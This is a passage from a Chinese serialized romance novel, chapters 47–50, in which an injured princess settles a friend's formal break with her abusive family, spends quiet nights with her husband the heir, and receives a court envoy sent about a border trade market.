胖男人突然瞪大眼睛看着他身后,嘴唇剧烈颤抖起来。头目尚未反应过来,颈间已贴上冰冷雪亮的刀锋。 “别动。” 第47章 灯花哔啵一声爆开,简单洗漱过后的封眠只觉浑身清爽,被雾柳扶着在床边靠下,正给两只脚换着药,外头忽然传来一阵嘈嘈切切的声响。 都快到后半夜了,这是又出什么事了? 封眠好奇地抬首往外张望,还没来得及喊个人去瞧瞧,房门便被轻轻敲响了,王妃急切又克制的声音在外头响起,“阿满?你歇下了吗?” “母亲?我还未歇下,您进来吧!”封眠忙坐直了,正要扶着雾柳下床行礼,便被三两步冲到床前的王妃摁住了。 “快别动了,好好躺着。”王妃俯身立在床头,上下将人打量一通,目光从她缠了两圈细布的手腕,落到她伤痕累累的两只脚上,泪光在眼底打转。 “你这孩子,出门时还好端端的,怎么就伤成这个样子了!”王妃在床边坐下,心疼地摸了摸封眠的下巴,“才几日,瞧你瘦的。” 温暖的指尖格外轻柔地蹭过颌骨处,轻得仿佛在触碰易碎的薄瓷,带着千万分的怜惜之意。 封眠不自觉地歪头蹭了蹭她的掌心,一双杏眸弯成了弦月状,烛火的光落在眼眸中,如星火一般明亮,说话时声音软得像融化得蜜糖,“我没事的,两日就能补回来了,母亲不必忧心。” “你是该好好养一养,这两日都莫要出门了,我得亲自看着你,将身子养好了才行!”王妃屈指在她鼻尖轻轻一刮,嗔怪道,“你呀,也学会先斩后奏了!” 王妃说到这儿,眉梢一挑,似是终于想起自己那个便宜儿子了,话音一转,面上慈爱之色倏然一敛,凤眸微眯,“阿琢那个混小子呢?将你保护成这副模样,自己又跑到何处躲着去了?” “母亲这般说可是冤枉他了。”封眠赶紧抱住王妃的手臂,撒娇般晃了晃,三言两语将擒获拐子的事说了个明白,“世子现下定是去忙着审人呢。” 王妃心下的火气轻易便被这道和风细雨浇灭了,垂眸瞧着封眠撒娇的模样,仿佛在看自己的亲女儿一般,终是没忍住,屈指在她额头轻轻一弹:“你啊,就护着他吧。” 语气虽嗔,眼底却已漾开笑意。 “行了,瞧见你这么有精神,我也算是放心了。”王妃说着起身,眼神制止封眠想要起身的动作,“你好生休息,明日我再来看你。” 封眠也没想到,翌日一早,王妃竟领着两个健仆,推了一辆檀木四轮素舆过来。 “你伤着脚,行动不便,又不能不能日日拘在屋里,可以坐在这素舆之上,让小厮推你在园子里转转,也好透透气晒晒太阳。” 王妃亲自扶着封眠在素舆上坐下,锦缎坐垫十分柔软,腰后还垫着一个软绵绵的护腰靠垫。 封眠新奇地摸摸檀木扶手,晨光暖暖地照在身上,一路暖到了心间。 王妃竟考虑得这般周到,连夜寻了适用的素舆来,这份心意,委实是太难得了。 风和日暄,垂花门前的海棠绯色正盛。 “天气暖和了,许多花都慢慢地开了。正好今日一起去瞧瞧。”王妃慢慢行过垂花门,身侧小厮推着素舆跟随。 封眠仰头望着湛蓝的天,听着耳畔王妃的温声细语,惬意地眯起了眼睛。 “你陪嫁的人里有个池苑司的,带来了许多新鲜花种。”王妃忽然想起什么,“听说种的不错,你也还未看过吧?” 封眠先是摇了摇头,才疑惑道:“池苑司?” 她对花草并无甚特别研究,这一点嘉裕帝是知道的,怎么还给她塞了池苑司的宫人来? 跟在后头的流萤忍不住插嘴道:“是他自己非要跟来的。他就是那日郡主您落水时在场的船夫!” 提起此事流萤还有些牙痒痒,她与郡主孤立无援的时候,那船夫惧怕公主,跪在地上屁都不敢出一个,事后倒是颠颠地想靠上来了。哪有这种两头讨好的事? 雾柳知晓的比流萤更周全一些,补充道:“事后郡主不是特意递了话,让人免了他的责罚。他心下愧疚又感激,便主动说要跟来北疆,为郡主培育四时鲜花。” 喔,封眠想起来了,她拍拍流萤的手,“当时的事也不怪他,昭宁那般阵仗,寻常人哪敢出头?看在他如此诚心悔过的份上,你且饶他这回。” 流萤撇撇嘴,到底没再吭声。 王妃不知发生了何事,待听得封眠讲了前因后果,当即后怕地拍拍胸脯,看着封眠的眼神愈发怜爱了, 在深宫之中,没有父母庇佑的孩子,即便是有皇帝看顾,也仍要吃不少苦。万幸平安。 花园的月亮门方出现在视野中,前方便传来一阵急促的脚步声,接着转进来一个身影。 百里浔舟见前方人影,一个急停,“母亲,郡主?” 待看清封眠坐在素舆之上,他飞快抬手将身后跟着就要拐出来的山衣推了回去。 “哎哟!”山衣一个踉跄后退,险些栽倒,站稳茫然地立在原地不敢动。 “闹什么呢?”王妃瞥百里浔舟一眼,“方才山衣怀里抱着的什么?” 虽是一闪而过,但她还是瞧见山衣怀里抱着个大物件,百里浔舟这般激动地要将其藏起来,看来是什么要紧的东西。 “没什么!”百里浔舟强作镇定,背在身后的手狂打手势,示意山衣快走。 王妃眯起凤眸:“鬼鬼祟祟躲躲藏藏,又在搞什么鬼?山衣,出来。” 山衣苦着脸冲百里浔舟耸了耸肩,连世子殿下和王爷都得听王妃的,他哪敢忤逆?只能苦着脸现身。 怀里抱着两副崭新的拐杖便暴露在几人眼前,拐杖上头还精心地缠着防滑的棉布条。 封眠先是一怔,接着抿唇,怎么也压不住翘起的唇角。阖府上下唯她伤了脚,这副拐杖是给谁准备的也不 言而喻了。 只是与王妃准备的素舆相比,那是落下了不止一点,也难怪他当即就要躲。 王妃瞧着百里浔舟泛红的耳根,忽然觉得这头顶的暖阳,似乎格外灼人些,又好气又好笑地点了点他的额头。 “郡主一个柔柔弱弱的姑娘家,你怎的想到弄了副拐杖来?” 百里浔舟本不觉得有什么不妥,见了王妃准备的素舆才意识到,拐杖对郡主来说好像是有些奇怪,当下无力反驳,“是我想岔了。” “世子有心了,多谢你。”封眠眼底漾着笑意望向百里浔舟。 不说东西实不实用,能惦记着她的脚伤就已经算是很不错了。 百里浔舟忽地意识到什么,压下刚要浮起的笑意,轻咳两声,肃容疏离道:“郡主此番受伤毕竟也与我有关,我自是不能轻视。” 言下之意便是让她不要误会其中有任何情愫,不要对他抱有什么不切实际的期待。 他说罢,只见封眠神色自若地点了点头,也不知听到心里去没有?怎的半点反应也没有? 百里浔舟也不知道他想看到什么样的反应,但封眠现下这般镇定的反应着实让他有些在意难受。 又不能再多说什么,兀自憋得难受。 这时一名小厮小跑过来,说是郡守过府了。 封眠顿时精神一震,今日最重要的大事来了! “快去隔壁元府将元老爷和元夫人请来,就说我有要事相商。”说罢,她又吩咐流萤去雪月居请元寄雪。 * 日头斜照进王府正堂,将青砖地面分割成明暗交错的格子。封眠端坐在素舆上,颇有些头疼地看着郡守第三次推拒主位。 今日之事王妃和百里浔舟不大方便出面,封眠打算独自处理此事,她打算让郡守坐在主位,郡守却一直不敢坐。 他虽是秦王的小舅子,但在天家郡主面前还差着老大一截,哪敢当着她的面坐主位? “下官岂敢僭越……” “今日之事还要全赖大人相助,人已来了,大人快些坐下吧。”封眠听见外头传来杂沓脚步声,最后一次催促道。 元氏夫妇颇有些跌跌撞撞地迈进正堂时,郡守才在封眠的眼神施压下,坐上了主位,一时间王府正堂仿佛成了府衙正堂一般。 元夫人紧张兮兮地落后半步,死死攥着丈夫衣袖,看见堂上阵仗,更是心惊腿软。 “草民/民妇,见过世子妃,见过郡守大人。”两人颤巍巍地行了礼。 元老爷挤出一个笑来,不安地看向郡主,“不知世子妃殿下唤草民夫妇前来是有何事?” 封眠疏淡地开口:“府上三姑娘近来可好?” 果然是来秋后算账的! 元老爷与元夫人对视一眼,只觉口中苦涩,手脚发软。 元夫人顿时哭号起来,“郡主明鉴呐,那元寄雪已经私逃离家,早不是元家的人了!她自己造下的孽,我、我等实在是无辜啊!” “你的意思是,元家三姑娘元寄雪,与你们元家再没有干系了?”封眠截住话头,问道。 “是啊!”元夫人忙不迭应声,拽着元老爷一起不住点头。 “郡守大人,您可听清了?” 郡守恭敬道:“听清了。” “既然如此,那便签下义绝文书,才算断的干净。”封眠向身后递了个眼神,雾柳捧出两份早已写好的义绝文书出来。 正堂屏风后传来环佩轻响,一道袅娜身影缓缓踱了出来。 元老爷和元夫人顿时瞪大了眼,错愕不已,“寄雪?” 郡守一见便明白怎么回事了,郡主这是早就与元寄雪串通,不对,是商议好了要断亲,又怕这元氏夫妇见她得了郡主青眼,不肯断亲,才先演了这么一出,让他们自己亲口说出元寄雪与元家再无干系的话。 既如此,他也应当配合郡主一番,于是沉声问道:“元氏女,你可想清楚了?此状一立,生死荣辱,再与元家无干。” “民女心意已决。”元寄雪伏地叩首,额头碰在冰冷的砖面,只觉前所未有的冷冷静。 郡守颔首,“既然你们双方都无异议,那便签字画押吧。” “等等……”元夫人果然犹疑,世子妃亲自出面替元寄雪张罗,说明她并未记恨她此前行事,日后说不得还要扶持她一二。 王府和世子妃的大腿,错过了可就抱不着了。 郡守目光一厉,“怎么?你方才亲口所言元氏女与你元家再无干系,难道是蒙骗本官不成?” “民妇不敢!” 说过的话再更改不得,元夫人便是心下有再多算计与不甘,也只能乖乖听话。 元寄雪一挽袖,在一式两份的义绝文书上签字画押,眼底漾起盈盈泪意,唇畔却勾起喜悦的笑。 “立绝亲书人元氏,情愿与父母兄弟永断瓜葛,日后荣辱各不相干!恐后无凭,立此存照。” 郡守在义绝文书上盖上官印,突然问道:“本官多问一句,你另立户籍,可要改姓?” 元寄雪抬眸,眼底似有星火复燃:“民女愿改‘柳’姓。” 她的生母姓柳,柳枝柔韧,生机盎然。往后的日子,她再不是元府后院孤苦无依的三姑娘,而是独立门户的柳寄雪。 第48章 新鲜出炉的“柳寄雪”这个名字,眨眼间就传遍了云中郡的大街小巷。 “听说世子妃让她做女医官,女子也能当官了?” “这元姑娘做什么与家中闹成这副样子?岂不难看!” “人家现在是柳姑娘了!你还不知道她那个后母做了什么吧?啧啧,真是瞧不出来,竟然有这般狠的心肠!” 元夫人和她身边的丫鬟被郡守带来的府兵押走了,元夫人给自己继女下药,迫她嫁人的事,自然也瞒不住,悄悄地被众人口耳相传了出去。 这下再无人议论柳寄雪断亲改姓一事,便是有那等道德卫士在心里嘀咕着“子女不言父母过,捅破天的事也不能断亲”,也不敢当着众人的面说出声,恐怕被一拥而上哄打一顿。 但仍有人瞧不惯女子做官,说风凉话,“医官算什么官?还不是给人看病的大夫。” “那也不是什么大夫,都能当上世子妃亲口封的医官啊!听说世子妃命她给城外的流民治病嘞。” 黑石沟的村民和被拐的那群孩子们暂时被安置在了城外,等柳寄雪一一探看过,确定没有患上疫病的风险,才会准允入城。如此一来,两边的百姓心里都能放心。 不过他们住的皆是军营中的帐篷,被褥俱全,并不寒酸。 风餐露宿许多时日的众人有了一处可平坦安睡的地方,能吃上热乎的粥饭,心下皆是十分的满足了。 另一头封眠不知外头的风言风语,正急匆匆地让人将自己推回藏弓院。 按理说,刚刚助柳寄雪彻底脱离了元家,她应当与其好生庆祝一番的,但眼下她心中还惦记着旁的事,不做完安不下心来,便吩咐人送了两坛好酒过去,许诺过两日再将今日的庆贺补上。 进了屋子,却发现案几旁坐着个人。 他单膝屈起,慵懒地倚靠在凭几上,手上拿着一册纸细细看着。 “世子?”封眠被小厮推到案几旁,发现他在看的正是自己之前未看完的户籍文书。 百里浔舟眼皮轻撩,便算是与她打过了招呼,又埋首文书,随手拿起笔记下什么。 封眠探头一瞧,他正是比着自己之前记录的格式,从文书中挑出可疑的信息记下。 她急着赶回来,正是为了忙此事。 拐子被一网打尽,尚未脱手的孩子们皆被救下,但此前就被他们倒手贩卖的孩子们的信息却已被他们销毁了,更不可能还记在脑子中。 还是得将文书检查一遍。 百里浔舟将几页文书推给封眠,道:“官府的内贼已抓到了,是衙门的主簿。他们从五年前开始做这种勾当,只需查这五年内的文书即可。” “他们交代了这些年来转手的城镇,我已派人分头去查,定当一个不落地将人找到。” 几句话将封眠心中惦记着的事情尽数交代清楚了。 封眠又看一眼文书,百里浔舟已将剩下的部分都查得差不多了,也无需她再多费什么心神。 她心下知道他定是担心她心力不济还要坚持着查文 书,所以才先一步帮她将能做的都做了,却又做出这样一副平淡姿态,毫不邀功。 她有心想要道谢,又觉得道谢反而会伤了他的心意。毕竟此事确实并非她一人之事,他本就也有如此行事的责任。 “你还没用晚膳吧?我让人去给你弄些吃食。” 那就干脆拿出好吃好喝的招待吧,吃饱了也更有力气干活嘛。 领命出门去宣晚膳的流萤心下十分不解,“人既已经抓到了,只需郡守发个公告,那些被拐的人自然会主动找来,何必还要这么麻烦呢?” “万一主家不放人呢?万一人已经意外没了呢?”雾柳想得总是比流萤周全一些,解释着,“万一还有人扯谎攀咬呢?” “这世上的人什么心思都有,自然要思虑得更周全一些。” 流萤恍然大悟,想不到一件她以为十分简单的事背后,竟还有这么复杂的弯弯绕绕。 唉,若人人都能再简单些就好了。 银挑针在烛焰将熄未熄时轻轻一拨,晃动的烛光重又明亮起来,照出小小案几之上琳琅满目的美食。 封眠搁下银挑针,托腮看着百里浔舟用膳,发现他执箸时总是先避开芫荽,再绕过姜丝,专挑鱼腹最嫩的部位。 咦,他竟是有些挑嘴的。 下次得吩咐厨下不给他放这些了。 封眠自己倒不大挑嘴,她打小便什么都吃得香,只是偶尔身体不允许她什么都吃。准备饭食前倒忘了问百里浔舟有无忌口。 不过王府的厨子竟也不知道他挑嘴吗? “你不吃?”他突然抬眼,筷尖悬在半空。 封眠回神,忽略腹中隐隐的饥饿感,坚定地摇头,“不饿。” 即食汤饼的事给了她灵感,她打定主意将自己饿上几顿,体验一下流民的饥饿感,试试看能不能在梦中再看见一些新鲜的吃食。 所以她要坚决忍住诱惑,绝对不能吃。 封眠捧起茶盏,咕嘟咕嘟喝着茶。 饿了就喝点茶水吧,喝个水饱骗骗肚子。 百里浔舟哪想得到这世上还有人故意饿自己的肚子,当下也不疑有它,埋头继续吃饭。 封眠眼巴巴瞧着他吃得香喷喷,喝干了两大壶茶。 夜里吹了灯,两人一左一右躺下了,中间像是隔着道银河。 安静半晌,封眠眨着眼睛盯着头顶的床幔,“明日我随你一起去府衙,核对户籍可好?” 百里浔舟:“嗯。” 两人之间一时又静了下来,只闻清浅的呼吸声。 半晌,封眠忽然轻轻唤了唤他的名字,“百里浔舟?” “怎么了?” 封眠揪着被角,小心翼翼地问:“我都没问过你的意见,便留寄雪在王府住下,你可有觉得不快?” 她当真是有些昏了头了,都忘了苦主在此,他之前还说不想再见柳寄雪。现下算起来,最少也已又见过两面了! 百里浔舟语气淡淡的,“你也是王府的主人,留谁住宿,是你的自由。” “我若说觉得不快,你待如何?” 还能现下前去将人赶出去吗? 封眠坐了起来,“那我去陪她出去寻个旁的住处。” 百里浔舟忙跟着坐起来,将人虚虚一拦,“好了,我随口胡说的。躺下。” 他哪想得到她还真想去? “喔。”封眠顺势便躺下了,悄悄抿起唇偷着乐。她就知道,自己若说现下就去带人走,他定是要拦的。 百里浔舟顿了顿,她这行云流水的动作,怎么好似根本没打算真的下床? 他也跟着躺下了,混不在意道:“况且她已抛却了往日的身份,从前种种,便当烟消云散吧。” 与一个走投无路的姑娘家斤斤计较,他才是真的没有肚量。 “那便好,明日我告知她,她定也是高兴的……” 封眠心神一松,话音越来越轻,渐至消弥。 她这几日都没怎么休息好,今日又饿了自己一整日,已是筋疲力尽了,说着说着话便睡了过去。 百里浔舟听见身侧呼吸逐渐趋于平稳均匀,侧首一看,封眠已然安安稳稳地入睡了。 翘起的睫毛在她眼下投下一道阴影,如玉的鼻梁高挺,安睡的侧颜恬静秀美。 百里浔舟心下一哂,今日竟睡得这般快。 前几次他门同床共眠时,彼此一开始都是闭目装样子,较劲许久,他才听见她入睡的呼吸声。 想来这几日,定是累极了。 百里浔舟细细一想,竟觉得她自来到北疆,仿佛就没安生得待过几日,病几日,忙几日,忙几日,又病几日。 不知她在宫中是不是也是这般? 他本以为清平郡主在宫中有嘉裕帝护佑,定是被百般娇惯,悠闲自得,今日却听母亲说了她在宫中被昭宁公主推下水的事。 王府远离盛京,对宫里头的事情知晓不多,但也知道这位昭宁公主是圣上宠妃柔妃之女,想来受宠爱程度与封眠也是不相上下的,否则不会封眠都落了水,船夫连去唤个太医来都不敢。 她敢公然做出此举,平日里又怎会与封眠好好相处呢? 而且母亲还说,太后是不喜封眠这个外孙女的。在封眠五六岁的年纪,有一阵子,太后疑心她被邪祟染了身,瞒着圣上将人丢进了道观,七日未给水米,只喝符灰水。 后来圣上发了好大的脾气。 这事还是母亲许多年前去秦王府上赴宴时,听席间命妇闲聊时说的。事后她便将这随耳听得八卦抛到了脑后,今日听了封眠落水之事,细一思量,才想起来。 后宫里头两位主事人都不喜封眠,便是有圣上护着,她多多少少也是要吃些苦头,压根不像他们所想的那般泡在蜜罐子中长大。 百里浔舟想得还要更多一些,他算了算时日,封眠落水高烧昏迷那几日间,圣上赐下了他二人的婚书。 封眠也说过,圣上是因为命理之说,欲要破了封眠的厄运,才将她赐婚来北疆。 这一切,很显然是有人在背后做了手脚。 百里浔舟无声地叹了口气,想到她初来北疆时,自己与百姓们的排斥,也不知道她是何心情? 若是他坚持要和离,封眠再回到宫里去,会不会被太后和柔妃为难?再被昭宁公主欺负? 或许他到时可以找些别的理由,将人留在北疆?北疆气候虽不如盛京温暖宜人,但起码有他在,定不会让旁人欺负了她去。 一通胡思乱想着,百里浔舟迷迷糊糊地睡了过去,夜半忽然察觉身侧有窸窣声响。 睡前果然不应喝太多茶水。 封眠睡眼朦胧地爬坐起来,垂头缓了一会儿,才不情不愿地撑着手跪起来,慢吞吞地往床外跑。 她担心将封眠吵醒,本想绕到床尾下床,谁知百里浔舟躺下是这么长一条,想绕开他还真有点难。 罢了罢了,她小心些,从他身上慢慢跨过去吧。 这对封眠来说着实是一大挑战。 她四肢睡得软绵绵的,脚上还不大能使力,费了九牛二虎之力,还是一膝盖跪到了百里浔舟的手背上。 百里浔舟本是屏息忍着没动,想瞧瞧她到底要做什么去,被忽然一击,没忍住闷哼一声。 惊得身上人一慌,匆忙挪开膝盖,却失了平衡,啪唧咂进了他怀里。 第49章 硬邦邦的胸腹肌肉磕在封眠的下巴上,疼得她眼底浮起一层薄薄的泪光。一时间都忘了要先爬起来。 百里浔舟在她摔下来的瞬间便是腰腹一紧,浑身肌肉硬邦邦的绷着,黑暗中隐约听到封眠痛得呼了一声,当下也有些急。 腰腹处微微一用力,半抬起身,双手摸索着撑着封眠的肩头,将人扶了起来。薄薄的衣衫下,几乎能触见她细腻柔嫩的皮肤。 “你怎么样?” 夜色浓稠,屋里未留灯盏,百里浔舟瞧不清封眠神色,只能看见她正捂着下巴,又不见她答话,担心她方才那一撞是不是咬着了舌头,急得向前凑了凑。 “伤着了?” 凑得近 了,他方才瞧见封眠眼底漾着一点水光,心头蓦地一紧。他伸出一手托住她的下巴,想仔细看看她伤得如何了,“可是咬到舌头了?” 封眠被烫到一般向后缩了一下,“我没事,只是磕到了下巴。你……” 她有心想怪一下他身上怎么硬的跟石头一样,话到嘴边转了两圈,又不好意思说出口,委屈巴巴地跪坐在床边揉着下巴。 月光透进来,偏移一线,恰好穿过床幔落在了她身上,映得人如夜色中的玉人一般。 只是玉人神色不大高兴。 封眠压坐在被子上,整个人的重量都陷在被褥里,恰好将百里浔舟的一截小腿压得结实。 被面紧绷绷地裹着腿动弹不得,让他也愈发无措起来,略有些生疏地放软了音色,“你想做什么去?我帮你?” “不用。”她也知自己恼得没什么道理,那点不高兴只在心头转了一圈便消散了,“抱歉啊,本来没想吵醒你的。” 她就是担心将人吵醒才没喊人的,说罢,她忽然后知后觉地想起来百里浔舟是有些怕黑的,屋内没留灯烛,睡得正香时突然被她砸了一下,也不知道吓到没有。 这般想着,她便也这般问了出来。 百里浔舟被她这么一关心,有些羞赧,又莫名冒出一点淡淡的欢喜来。 她自己刚磕着了下巴,竟还惦记着关心他怕黑的事。 “无妨,我……”开口谈及自己怕黑一事总还是有些别扭,百里浔舟顿了顿才接着道,“外头有月光,还有你在,我也没有这般不禁吓。” “你还没说你要去做什么?你脚伤着,莫要逞强。”百里浔舟担心她不好意思麻烦自己,兀自猜测着,“可是口渴了?” “我想起夜。”封眠忙摇头,可不能再喝水了。她顿了一下,又补上一句,“你帮我喊一下流萤或者雾柳吧。” 起夜这种事,怎么好让百里浔舟帮忙呢? 百里浔舟也闭上了想帮忙的嘴,这事他是真没法帮。 他抽出腿,翻身下榻,却没就这样出门去叫人,而是先俯身将封眠打横抱起,轻柔地搁到素舆上,才开了寝屋的门,将雾柳唤了进来。 之后他便一直等在床边,待雾柳将封眠推回来,又轻柔地将人抱起来搁回了床上。 封眠接连被抱了两次,也有些不大好意思,躺下后将被褥一卷,闷声道了句谢,赶紧便装作要睡了。 她应当好好道一声谢的,但她开始觉得百里浔舟有点古怪了。怎么突然这么细心温柔又体贴?对她的愧疚就这般深吗? 伤了脚真是处处麻烦,行动不便不说,就连人也变得古怪起来,可快些好起来吧。 身侧没了动静,百里浔舟坐在床边,看封眠裹得跟蚕蛹一样的背影,莫名地勾唇笑了笑。 翌日一早,封眠脚上换了药,便催着百里浔舟一道出门去府衙。 百里浔舟这回注意到她只用了两口薄粥,便给她夹了一筷子糕点,“怎么只吃这么点,喂鸟呢?” “我饱了,吃不下了。”封眠搁了筷子不肯再动,若不是担心被瞧出她故意饿肚子的端倪来,她连这两口粥也是不想喝的。 说不定再饿上一整日,便能如愿做梦了,可不能功亏一篑。 百里浔舟狐疑地瞧她,总觉得哪里不对,又不好判断她晨起时的胃口是不是当真只有这么一点? 他刚想问一问流萤或是雾柳,前院的小厮忽然闯进了院子里,说盛京来人了。 封眠更是顾不得用早膳了,盛京来人必然是带着嘉裕帝的信来的,那就是互市一事有消息了! 她忙不迭追问:“到何处了?可知来的是什么人?” “现下已到府上了!王妃一得了消息,便立即命小的来报与世子妃。来的是户部的顾大人,听说还是今科状元呢。” 封眠神色微微一顿,顾春温?竟是他来了? 转念一想,既是他来,莫不是互市一事,稳了? “快快,推我到前院去。”封眠唇角一勾,吩咐起人来。 她眉梢眼角扬起的喜意,落入百里浔舟眼中,让他莫名有些在意。 就这么高兴见到那位状元郎? 他上前两步,脚步踏得用力,挤开站到素舆后的小厮,双手扶上了推手,不容拒绝道:“我也应去前厅见一见盛京来的客,顺手送你过去吧。” 前厅,身穿绯色官袍的俊秀青年正挂着和煦的笑容与王妃寒暄。 他生了一张任何长辈都会喜欢的温秀面孔,说话亦令人如沐春风,交谈的这片刻时间里,王妃的嘴角就没下来过。 顾春温面上十分自若,实则心下已不能自抑的砰砰狂跳起来,余光不知往门厅方向瞥了多少下。 他日夜兼程从盛京一路赶来,上京赶考的那段路都远不如这段路煎熬。一到夜时便多虑多思,想着这一路辛劳,北地与盛京风物殊易,郡主去往北疆的一路上又吃了多少苦头呢? 又想不知百里浔舟到底是个什么样的人,郡主在北疆可有受气?亦或者两人当真是姻缘天定,一见钟情? 这种可能性想一想,心底难免泛出点酸意来。 他盼着郡主过得顺遂和乐,又好似不大想她与世子太过鹣鲽情深。 他分明也只在暗处见过郡主两面,对她所知的一切皆是听闻。但时间的流逝并未让他忘却那一日惊鸿一瞥,反而将其冲刷打磨得愈发熠熠生辉,心底的那抹悸动亦是一日强过一日。 一眼万年,大抵如此。 他都忘了,郡主应是从未见过他的,甚至连他这个人都未必听说过。 在不知暗暗瞥了多少眼之后,门厅方向终于传来了脚步声,以及车轮轧地的辘辘声。 顾春温与王妃话刚说了一半便突然止了话头,扭头看向门厅处。 先自门外拐进来的是一辆素舆,而封眠正端坐其上。 “郡主?!”顾春温瞳孔骤缩,霍然起身,急急上前两步才突然察觉不合礼数,顿足行礼。 他分毫目光也未分给推着素舆的百里浔舟,满腔惊忧之意压也压不住,“郡主,你的腿……” 他脑海中这一瞬间闪过许多种糟糕的可能性,却一个字都没敢问出来。 封眠见他眼底惊忧之色不似作伪,也有些惊讶他竟如此关切自己? 看来这位状元郎当真是极富善心之人,难怪她最初梦到与他成婚的史书上写着二人琴瑟和鸣,自成佳话。嫁与一个本身就很好的人,婚姻自然是顺遂无忧的。 “我的腿没事,只是前两日磨破了脚,不大方便下地。”封眠急忙解释道,既不想让人担忧,又担心他对王府产生什么误会。 听闻只是磨破了脚,顾春温先是松了口气,接着又蹙起了眉心,“郡主遇着了什么事,怎会磨破了双脚?” 他终于看向了百里浔舟,线条柔和的眼眸中现出几分厉色。“若叫陛下知道了,定当十分担忧的。” 郡主出行皆有车马,便是不坐车马,徒步在云中郡内逛上一日,也不至于便将双脚磨成需要乘坐素舆的惨状。 百里浔舟到底是如何照看郡主的? 百里浔舟不闪不避地与他对视着,神色不大爽快。 许多人都未改口唤封眠世子妃,仍旧叫着郡主,百里浔舟从不觉着有什么,以身份地位来看,她确实首先应是郡主,其次才是他的世子妃。 可不知为何,面前这人一叫,听在耳朵里就不大舒服。 “世子妃心怀百姓,才不慎伤了脚,想来陛下若是得知,更会为世子妃而骄傲才对吧。”百里浔舟开口时,严谨地替换了关于封眠的称呼。 封眠没察觉有何不对,王妃却多瞧了他一眼,端起茶盏遮掩唇边笑意,解围道:“好了,都坐下说话。” “顾大人千里迢迢带着圣命而来,关切郡主那是再应当不过的。顾大人也莫要着急气恼……” 王妃三言两语地将前几日发生的事与顾春温说了个清楚。 顾春温听得怔然,望着端坐于素舆之上的封眠,眼前便仿佛出现她在暴雨后泥泞的山间以身犯险去救人的画面。 就像当初他看见她义无反顾跳下水去救一个奴婢那般。 从盛京到北疆,千里之遥,山河远阔,唯郡主赤忱 如初,风骨未改。 “难怪入城时,见城门两侧多了几间营帐,我还当是世子殿下被王爷扫地出门了。”顾春温回过神来,还不忘开了一句玩笑。 百里浔舟:…… 他就觉得这人讨厌得很。 “想来郡主也猜到臣此番为何而来了。”顾春温再次看向封眠,言辞温润,“陛下已允准郡主所言之事,特命微臣辅佐。不知郡主心下可是已有了成算?” 他一开口,百里浔舟眉心的皱褶就没解开过。话里话外藏头露尾的,就是不说陛下到底允准了何事,当着他的面与封眠打哑谜? 待顾春温说罢,百里浔舟直截了当地问封眠:“陛下允准何事?可是你先前写家书时,说的那个可以阻止部分北夷部族联合的法子?” 哼,谁与谁之间没有点秘密似的。 封眠有些惊讶他竟然还记得此事呢,当下笑着点了点头,把互市的主意又与他和王妃交了个底。 陛下都应允了,更是说明此事可行,王妃虽是担忧,却没再多说什么。 百里浔舟思虑却多,“北夷三十六部与沿边的百姓之间都多有摩擦,未必就能平心静气地做起生意来。” “所以第一场互市要选择的地点和部族就格外重要。世子且放心吧,我与顾大人定会谨慎行事的,到时定了计划,还要请你掌掌眼呢。” “世子快些去府衙忙吧。”封眠冲百里浔舟眨眨眼,又看向顾春温。“顾大人,我先带你去云中郡熟悉一下,顺便聊一聊互市的事。” 听她这么一说,百里浔舟刚迈出的步子收了回来,“你不能去。” 在场众人的目光都一齐聚到了百里浔舟的身上。 百里浔舟轻咳一声,讲出自己非常正当的理由,“郡主腿脚不便,还是在府中多休息为好。我看不如让陆大人先陪顾大人在城内转一圈,待顾大人对云中郡有了些许切身了解后,郡主应当也养得差不多了。” “到时再议也不迟。” 到时他忙完了府衙那一摊子事,便也能跟着参详一翻。 顾春温瞧他一眼,自然知道他打地是什么主意。但他同样不愿郡主拖着伤脚忙碌,便主动应了,“陆大人说得是陆鸣竹吧?我们是同窗,正好也许久未见,可以一起叙叙旧。” 封眠乐得不用坐素舆出门,吩咐人带着顾春温去找陆鸣竹—— 作者有话说:[抱抱]感谢愿意看连载追读并且评论的宝宝们,很想加更感谢,但是这两天有些事要忙,存稿见底只能一天一更了[爆哭]下周忙完一定努力多多地更[摸头]再次感谢[抱抱] 另,如果偶尔显示更新但没有新章,就是我在前面捉虫啦[彩虹屁] 第50章 眼瞅着人都走了,王妃热情地拉过封眠的手,邀请她道:“今日备了新菜式,王爷又临时有事回不来了。你不如就别回院子了,留在此处与我一道用午膳?” 那她就不能继续饿肚子了呀! 虽然对王妃的提议十分心动,但封眠可不能留下,否则便真是白饿了。她凑近些,悄悄说自己要趁着世子殿下不在府上,再试着研究一些能跟即食汤饼相媲美的食物。 “虽说我现下有足够的银子买来粮食接济灾民,但授人以鱼终究不如授人以渔。”封眠挽住王妃的手臂,带着歉意撒娇道,“所以今日恐是不能陪母亲用膳了,待我研究出来,定第一个给母亲尝,以做赔罪。” 王妃自然不会怪她,高高兴兴地应了,“那我可边等着了。” 只是过了王妃这一关,流萤和雾柳可不好糊弄,封眠眼珠一转,回到寝屋便找了借口:“昨夜世子鼾声太响,吵得我一宿都没安睡。我要补个觉,你们两个可帮我看好了门,不许旁人打扰。到了饭点也莫来扰我,待我睡够了再说。” “记住了,我没醒之前,谁也不许进来喊我,否则我要生气的。” 流萤和雾柳哪想得到封眠这么说是为了不吃东西,便就这么被拦在寝屋外头。 流萤有些困惑:“可郡主之前不是说,世子爷睡觉时没什么声响吗?” “许是累着了吧。”雾柳拉着流萤到廊下坐下,“且让郡主歇息吧,趁此时无事,咱们替郡主挑挑花样子,天气一日一日暖起来了,也该制些新衣了。” “对哦对哦。”身为郡主身边最得用的两个丫鬟,她们可得将郡主的衣食住行都打理好了。 * 陆鸣竹听见下人来报,说郡主身边的人过来了,还当是郡主亲自来了,很是整理了一番仪容才迈出门去。 这几日他替郡主参详着应该先在云中郡周边的哪些城镇开设分店,也是忙得脚不沾地。 也不知是不是郡主此前和他说的那套“祸兮福所倚”的话语深入了他的心间,他觉得自己近日都没有那般倒霉了。 应当面跟郡主好好道个谢才是! 陆鸣竹急匆匆往外走,脚步轻快地像枝头的鸟雀,心里一遍遍地打着腹稿。 他还想着要汇报一下分店址挑选的进度,在此事落成之前,他本都不好意思去打扰郡主的。 没想到今日郡主自己就来……了…… 雀跃的心情在看见出现在自己面前的高挑青年时戛然而止,陆鸣竹万分错愕:“顾兄?!” 他脚步倏地一顿,下意识抬眼向顾春温身后张望了一下,并没瞧见熟悉的身影。 顾春温将他下意识的反应尽收眼底,双眸微眯,飞快地将他周身扫视了一遍,看出他明显整理过的痕迹,目光落在他腰间佩着的刻有“清平”二字的玉牌时微微一凝。 